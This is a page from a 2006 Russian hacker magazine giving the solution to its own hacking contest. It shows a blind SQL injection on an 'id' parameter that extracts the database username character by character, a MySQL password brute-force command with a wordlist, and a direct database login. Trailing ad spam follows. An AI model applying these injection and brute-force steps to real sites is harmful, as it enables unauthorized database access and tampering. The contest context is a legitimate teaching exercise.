Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #89, МАЙ 2006 г.

X-Конкурс

 

Хакер, номер #089, стр. 089-048-1


В последнем конкурсе перед тобой стояла серьезная задача: нужно было исправить неудачи сборной России по футболу и вставить ее в сетку соревнований вместо бразильской сборной. С тем, как нужно было осуществлять мечту болельщика, мы разберемся прямо сейчас.

На сайте konkurs.xakep.ru, была размещена таблица со статистикой. Открыв страницу с информацией о команде, ты бы увидел, что скрипту index.php передаются три параметра: int=stat&id=21&do=report. Интуитивно, самая интересная переменная – id. В самом деле, если поставить id=21', то появится сообщение об ошибке:

«INCORRECT QUERY». Ну вот, это уже кое-что. Экспериментируем дальше: index.php?int=stat&id=21+AND 1=1. Ответ положительный – страница с информацией о бразильской сборной показывается без ошибок. Однако стоит включить в запрос кавычки, как нас тут же ожидает облом – параметр magic_quotes_gpc включен. Однако нас это не остановит. Первым делом неплохо было бы получить имя mysql-пользователя, под которым работает наш скрипт. Поскольку у нас фильтруются кавычки и нет доступа к таблице mysql.user, мы будем использовать технику посимвольного перебора.

Работает этот метод следующим образом. К выполняемому запросу добавляется «AND ascii(lower(substring(user(),порядковый_номер_символа,1)))=char(код_символа)». Это позволяет, последовательно меняя ASCII-коды, добиваться ситуации, при которой запрос успешно выполняется. Это означает, что указанный ASCII код совпадает с кодом символа логина, и можно переходить к следующей позиции.

Чтобы подобрать первый символ имени пользователя, нужно использовать следующйи запрос:

index.php?int=stat&id=21%20AND%20ascii(lower(substring(user(),1,1)))=[ASCII]

Здесь [ASCII] – перебираемый символ, который последовательно меняется, пока не будет достигнуто совпадение. Для перебора маленьких латинских букв, нужно менять параметр [ASCII] от 97 до 122. Скрипт для автоматизации процесса можно взять с http://rst.void.ru/papers/mysql_char_brute.txt. Запускаем сценарий и получаем имя пользователя: «konkurs». Дело осталось за малым - пробрутить пароль! Берем любой словарь паролей и пускаем брутер:

~ $ ./r57mysql_brute -h konkurs.xakep.ru -p 3306 -l konkurs -w password.lst

[ DONE ] Password found!

Password: Football

HEX: 46 6F 6F 74 62 61 6C 6C

Вот такие дела! Теперь настало время изменить таблицу и закончить нашу миссию:

~ $ mysql -h konkurs.xakep.ru -u konkurs -p

Enter password:******

Командой show databases легко выяснить, что всего на сервере 2 базы данных: db_konkurs и mysql. Нас, конечно, инересует db_konkurs:

mysql> use db_konkurs

В этой базе данных расположена единственная таблица – champ, в которой и располагается таблица с командами. Сделав SELECT * from `champ`, можно легко получить все содержимое таблицы:

+-------------+----+---+-----+---+---+----+----+-----+----+-------+

| team | wp | w | tm | d | l | gf | ga | pts | id | group |

+-------------+----+---+-----+---+---+----+----+-----+----+-------+

| Poland | 0 | 0 | POL | 0 | 0 | 0 | 0 | 0 | 3 | A |

...

| Brazil | 0 | 0 | BRA | 0 | 0 | 0 | 0 | 0 | 21 | F |

Содержание  Вперед на стр. 089-048-2
Скачать бесплатно сприлл, стрелялки | близко. Регистрация камерами слежения на автомагистрали. Только летом | близко. Удивительные скидки: трансферы в аэропорт + аренда автобуса цены уже сегодня. Производство.